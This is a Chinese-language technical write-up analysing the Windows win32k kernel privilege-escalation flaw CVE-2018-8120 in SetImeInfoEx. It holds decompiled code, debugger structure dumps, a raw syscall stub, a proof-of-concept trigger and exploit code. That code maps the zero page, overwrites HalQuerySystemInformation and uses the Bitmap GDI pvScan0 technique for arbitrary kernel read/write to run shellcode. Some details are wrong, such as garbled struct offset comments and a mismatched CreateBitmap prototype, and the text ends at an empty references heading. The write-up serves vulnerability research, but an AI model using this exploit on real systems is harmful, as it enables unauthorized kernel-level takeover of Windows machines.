CVE-2018-8120 内核提权漏洞分析

0x1 漏洞描述

      CVE-2018-8120漏洞是一个位于win32k模块中的SetImeInfoEx函数的任意地址覆盖漏洞,漏洞产生的根本原因是没有对tagWINDOWSTATION结构的spklList成员做有效性验证,就对其进行解引用,如果spklList为NUll的话,继而对其进行解引用,导致漏洞触发。

0x2 漏洞分析

      根据SetImeInfoEx的反汇编结果,可知pklFirst = pwinsta->spklList;,在取出tagWINDOWSTATION结构体的spklList的成员之后,并没有对pklFirst进行有效性验证,便对pklFirst进行解引用操作,while ( pklFirst->hkl != piiex->hkl),假设pklFirst为NULL,便导致任意地址覆盖漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __stdcall SetImeInfoEx(tagWINDOWSTATION *pwinsta, tagIMEINFOEX *piiex)
{
int result; // eax
tagKL *pklFirst; // eax
tagIMEINFOEX *v4; // eax
result = pwinsta;
if ( pwinsta )
{
pklFirst = pwinsta->spklList; // 没有对pklFirst 的合法性进行验证
while ( pklFirst->hkl != piiex->hkl ) // 如果pklFirst为NULL的话,对pklFirst进行解引用。会导致失败
{
pklFirst = pklFirst->pklNext;
if ( pklFirst == pwinsta->spklList )
return 0;
}
v4 = pklFirst->piiex;
if ( !v4 )
return 0;
if ( !v4->fLoadFlag )
qmemcpy(v4, piiex, sizeof(tagIMEINFOEX));
result = 1;
}
return result;
}

      换言之,我们只需要进行构造一个tagWINDOWSTATION,使得tagWINDOWSTATION+0x14偏移的spklList成员为NULL,然后在对spklList进行解引用时。继而程序崩溃,导致任意地址覆盖漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2: kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void

0x3 漏洞验证

      对SetImeInfoEx进行交叉引用,发现是由NtUserSetImeInfoEx函数调用,首先,将传入的参数tagIMEINFOEX复制到piiex,然后创建一个WindowsStation,并将这两个作为参数传入SetImeInfoEx。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __stdcall NtUserSetImeInfoEx(tagIMEINFOEX *a1)
{
int v1; // esi
tagWINDOWSTATION *v2; // eax
tagIMEINFOEX piiex; // [esp+10h] [ebp-178h] BYREF
CPPEH_RECORD ms_exc; // [esp+170h] [ebp-18h]
UserEnterUserCritSec();
if ( (*gpsi & 4) != 0 )
{
qmemcpy(&piiex, a1, sizeof(piiex));
ms_exc.registration.TryLevel = -2;
v2 = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(v2, &piiex);
}
else
{
UserSetLastError(120);
v1 = 0;
}
UserSessionSwitchLeaveCrit();
return v1;
}

      由于NtUserSetImeInfoEx函数并没有导出,只能通过系统调用的方式进行调用。首先将参数放到esi寄存器中,将调用号放到eax寄存机中,系统调用号可以利用PCHunter,在内核钩子–SSDT中,找到NtUserSetImeInfoEx的编号为550,也就是226,然后加上0x1000的偏移,就是0x1226.

1
2
3
4
5
6
7
8
9
10
11
BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0)
{
__asm
{
mov esi, arg0
mov eax, 0x1226 // NtUserSetImeInfoEx的调用号
mov edx, 0x7FFE0300
call dword ptr[edx]
ret 4
}
}

      根据NtUserSetImeInfoEx函数和SetImeInfoEx的伪代码,函数验证需要两个基本条件,第一,根据传入SetImeInfoEx参数为tagWINDOWSTATION,需要使用CreateWindowStation函数创建一个WindowStation结构。第二,根据v2 = _GetProcessWindowStation(0);可以知道,需要将创建的WindowStation设置为当前进程的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BOOL POC_CVE_2018_8120()
{
BOOL bRet = TRUE;
HWINSTA hSta = NULL;
// 创建tagWINDOWSTATION结构体
hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);
if (hSta == NULL)
{
printf("CreateWindowStation", GetLastError());
bRet = FALSE;
return bRet;
}
// 将创建的结构体设置到本进程中
if (!SetProcessWindowStation(hSta))
{
printf("SetProcessWindowStation", GetLastError());
bRet = FALSE;
return bRet;
}
char szBuf[0x15C] = { 0 };
CallNtUserSetImeInfoEx((PVOID)szBuf);
return bRet;
}

0x4 漏洞利用

      根据任意地址覆盖漏洞常规的利用方法,将ShellCode地址复制到HalQuerySystemInformation地址上,然后调用NtQueryIntervalProfile执行即可。

      首先,我们开辟零页内存和获取HalQuerySystemInformation地址,开辟零页内存是为了后续能够有空间存放HalQuerySystemInformation地址和Shellcode,不至于在触发漏洞的时候崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 0地址分配内存
if (!AllocateZeroMemory())
{
bRet = FALSE;
return bRet;
}
printf("[*] AllocateZeroMemory\n");
// 获取保存HalQuerySystemInformation函数地址的地址
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation)
{
bRet = FALSE;
return bRet;
}
printf("[*] GetHalQuerySystemInformation\n");

      根据伪代码描述,只需要v4,即pklFirst->piiex,存放的是HalQuerySystemInformation,piiex存放的是Shellcode,然后调用NtUserSetImeInfoEx触发任意地址读写,将Shellcode覆写到HalQuerySystemInformation地址上,最后调用NtQueryIntervalProfile执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( pwinsta )
{
pklFirst = pwinsta->spklList; // 没有对pklFirst 的合法性进行验证
while ( pklFirst->hkl != piiex->hkl ) // 如果pklFirst为NULL的话,对pklFirst进行解引用。会导致失败
{
pklFirst = pklFirst->pklNext;
if ( pklFirst == pwinsta->spklList )
return 0;
}
v4 = pklFirst->piiex; // 存放HalQuerySystemInformation
if ( !v4 )
return 0;
if ( !v4->fLoadFlag )
qmemcpy(v4, piiex, sizeof(tagIMEINFOEX)); // piiex存放ShellCode地址
result = 1;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
BOOL Trigger_CVE_2018_8120()
{
BOOL bRet = TRUE;
// 0地址分配内存
if (!AllocateZeroMemory())
{
bRet = FALSE;
return bRet;
}
printf("[*] AllocateZeroMemory\n");
// 获取保存HalQuerySystemInformation函数地址的地址
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation)
{
bRet = FALSE;
return bRet;
}
printf("[*] GetHalQuerySystemInformation\n");
// 指定被写入的地址
*(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;
// 绕过while循环的验证
*(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;
char szBuf[0x15C] = { 0 };
// 指定要写入的内容是ShellCode的地址
*(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;
// 触发漏洞
if (!CallNtUserSetImeInfoEx(szBuf))
{
printf("CallNtUserSetImeInfoEx", GetLastError());
bRet = FALSE;
return bRet;
}
printf("[*] CallNtUserSetImeInfoEx\n");
// 调用NtQueryIntervalProfile
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
return bRet;
}
return bRet;
}

      但是,在后续的调试中,发现并不是执行memcpy的操作,导致覆写失败。

0x05 Bitmap GDI

      BitmapGDI,通过Bitmap对象泄露可供读写的内核区域,从而将任意地址覆写漏洞转化为任意地址读写漏洞。R3通过使用CreateBitmap函数创建一个Bitmap对象,在Bitmap对象中有一个指针pvScan0,指向一段内存域名。pvScan0指针可以在R3通过GetBitmaps以及SetBitmaps函数进行操作。至此,通过这两个函数,可以将一个任意地址复写漏洞转化成一个任意地址读写漏洞。

      CreateBitmap函数原型如下,

1
2
3
4
5
HRESULT CreateBitmap(UINT uiWidth,
UINT uiHeight,
REFWICPixelFormatGUID pixelFormat,
WICBitmapCreateCacheOption option,
IWICBitmap **ppIBitmap);

      当调用CreateBitmap之后,会在进程PEB偏移+0x94的GdiSharedHandleTable数组中增加一个索引。

1
2
3
4
5
6
7
8
3: kd> dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
...
+0x090 ProcessHeaps : Ptr32 Ptr32 Void
+0x094 GdiSharedHandleTable : Ptr32 Void
+0x098 ProcessStarterHelper : Ptr32 Void
....

      该索引是一个_GDICELL结构。

1
2
3
4
5
6
7
8
typedef struct _GDICELL{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;

      GDICELL结构的第一个成员pKernelAddress指向的是一个SURFACE对象,结构体定义如下,其中比较重要的是BASEOBJECTSURFOBJ对象,pvScan0指针便位于SURFOBJ对象中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef struct _SURFACE
{
BASEOBJECT BaseObject;
SURFOBJ SurfObj;
//XDCOBJ * pdcoAA;
FLONG flags;
struct _PALETTE * const ppal; // Use SURFACE_vSetPalette to assign a palette
struct _EWNDOBJ *pWinObj;
union
{
HANDLE hSecureUMPD; // if UMPD_SURFACE set
HANDLE hMirrorParent;// if MIRROR_SURFACE set
HANDLE hDDSurface; // if DIRECTDRAW_SURFACE set
};
SIZEL sizlDim; /* For SetBitmapDimension(), do NOT use
HDC hdc; // Doc in "Undocumented Windows", page 546, seems to be supported with XP.
ULONG cRef;
HPALETTE hpalHint;
/* For device-independent bitmaps: */
HANDLE hDIBSection;
HANDLE hSecure;
DWORD dwOffset;
//UINT unk_078;
/* reactos specific */
DWORD biClrImportant;
} SURFACE, *PSURFACE;

      下图可以清晰的观察SURFACE结构的内存布局,有两个主要的结构。一个叫 BASEOBJECT对象,每一个 GDI 对象都有的一个头部。另一个叫SURFOBJ对象,保存了包括我们参数信息的实际结构。BASEOBJECT结构位于SURFOBJ之前,在寻找pvScan0指针过程中,我们只需要知道这个结构大小即可。在x86中,BASEOBJECT的大小是0x10,而在x64中,BASEOBJECT的大小是0x18。在图中,可以清楚的看到pvScan0指针指向PixelData区域。
mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _BASEOBJECT {
HANDLE hHmgr; 0x04
PVOID pEntry; 0x08
LONG cExclusiveLock; 0x0d
PW32THREAD Tid;0x10
}BASEOBJECT, *POBJ;
typedef struct _SURFOBJ {
DHSURF dhsurf; 0x04
HSURF hsurf; 0x08
DHPDEV dhpdev; 0x09
HDEV hdev; 0x0a
SIZEL sizlBitmap; 0x0e
ULONG cjBits; 0x12
PVOID pvBits; 0x16
PVOID pvScan0; 0x20
LONG lDelta; 0x24
ULONG iUniq; 0x28
ULONG iBitmapFormat; 0x2c
USHORT iType; 0x2e
USHORT fjBitmap; 0x30
} SURFOBJ

      接着如何使用BitmapGDI技术将一个任意地址覆写漏洞,改造成一个任意地址读写漏洞。首先,我们的目标是获取pvScan0指针,根据上面的接收pvScan0位于SURFACE对象中的SURFOBJ对象第0x20偏移处。而SURFACE对象需要根据GDICELL结构的第一个成员pKernelAddress确定的。而GDICELL是GdiSharedHandleTable表中的其中一个索引。所以确定pvScan0指针需要分三步。

1
2
3
4
5
6
PVOID GetPvScan(HBITMAP hBitHandle)
{
DWORD dwGdiCellArray = GetGdiCellArray();
PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));
return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);
}

      第一:根据PEB+0x94的偏移确定GDICELL数组的首地址。

1
2
3
4
5
6
7
8
DWORD GetGdiCellArray()
{
__asm
{
mov eax, fs:[0x30] // eax = PEB
mov eax, [eax + 0x94] // eax = GDICELL数组首地址
}
}

      第二根据CreateBitmap返回的HBITMAP对象,以此作为索引确定GDICELL结构。

1
PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));

      第三,获取GDICELL对象的第一个成员pKernelAddress指向的SURFACE对象,在SURFACE对象的0x30偏移就是pvScan0指针。

1
return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);

      现在我们知道了pvScan0指针,那么怎么利用漏洞修改pvScan0指针指向的内容呢?首先,创建两个Bitmap对象:Work以及Manager。并获取两个BitMap对象的pvScan0指针。分别记做workerpvScan0和managerpvScan0指针。
mark

1
2
3
4
5
6
7
8
9
10
11
//创建两个Bitmap对象
hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);
hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);
if (!hManger || !hWorker)
{
printf("CreateBitmap error");
return false;
}
//获取各自的pvScan0指针。
mpv = GetPvScan(hManger);
wpv = GetPvScan(hWorker);

      然后通过任意地址覆写漏洞,改写pvScan0指针。将workerpvScan0指针覆写到managerpvScan0指针。
mark

1
2
3
4
5
6
7
8
9
10
11
12
////将wpv覆写入mpv,此时manage bitmap对象的pvScan0指针为worker bitmap对象的pvScan0指针。
*(PDWORD)(0x2C) = (DWORD)mpv;
*(PDWORD)(0x14) = (DWORD)wpv;
DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };
// 指定要写入的内容
szBuf[0] = (DWORD)wpv;
// 触发漏洞
if (!CallNtUserSetImeInfoEx(szBuf))
{
printf("CreateBitmap error");
return false;
}

      接着通过Set\GetBitmaps,修改\获取pvScan0指针指向的内容。即就是将ManageBitmap对象中的pvScan0指向的内存区域修改为pHalQuerySystemInformation地址,然后再将WorkerBitmap对象的pvScan0指向的内存区域修改为Shellcode地址

1
2
3
4
// 设置hManger的可修改地址为保存HalQuerySystemInformation函数地址的地址
SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);
// 将可修改地址中的值修改为ShellCode地址
SetBitmapBits(hWorker, sizeof(PVOID), &ShellCode);

      这一部分可以这样理解,首先pvScan0指针指向的是一段内核区域,通过覆写漏洞,将workerpvScan0指向的地址覆盖到managerpvScan0指向的地址,然后先修改hManger的内核区域为HalQuerySystemInformation,接着修改hWorker的内核区域,也就是hManager的内核区域,也就是HalQuerySystemInformation地址为ShellCode地址。

0x07 参考文献